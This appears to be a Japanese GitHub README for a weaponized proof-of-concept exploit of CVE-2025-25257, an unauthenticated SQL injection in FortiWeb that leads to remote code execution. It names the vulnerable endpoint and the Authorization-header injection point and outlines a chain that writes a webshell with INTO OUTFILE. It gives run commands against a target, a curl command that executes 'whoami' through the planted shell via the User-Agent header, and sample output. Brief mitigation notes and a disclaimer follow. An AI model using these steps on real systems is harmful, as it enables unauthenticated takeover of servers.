🚨 CVE-2025-25257 – FortiWeb SQLiによるRCE

深刻なSQLインジェクション → ウェブシェル実行

発見・武器化: 0xgh057r3c0n

🧠 脆弱性概要

CVE-2025-25257 は、エンドポイント /api/fabric/device/status を公開する FortiWeb システムに影響を与え、Authorization ヘッダー入力の適切なサニタイズに失敗します。

攻撃者は認証なしでSQLインジェクションを実行し、サーバー上にウェブシェルを書き込み、リモートでコマンドを実行できます。

💥 攻撃フロー

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 脆弱なエンドポイント

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 エクスプロイトの特徴

Bearerトークンを介したSQLi
SQL INTO OUTFILE でシェルをドロップ
Pythonフックがchmodをトリガー
User-Agentを介してコマンド実行
完全自動化PoC

🧪 使用方法

python3 CVE-2025-25257.py -t https://target-host.com

次に:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 必要条件

Python 3.6+
requests モジュール

インストール:

pip install requests

📤 出力例

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 CVSS推定

Metric	Value
基本スコア	9.8 (緊急)
攻撃ベクトル	ネットワーク
必要な権限	なし
ユーザー操作	なし
影響	高 (C/I/A)

🛡️ 緩和策

FortiWebファームウェアのアップデート（パッチが利用可能な場合）
すべてのヘッダー入力をサニタイズ
ファイル書き込みパスとCGI実行を制限

👨‍💻 作者

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ 免責事項

このPoCは教育および許可されたテストのみを目的としています。自己責任で使用してください。作者は誤用について責任を負いません。

CVE-2025-25257

人気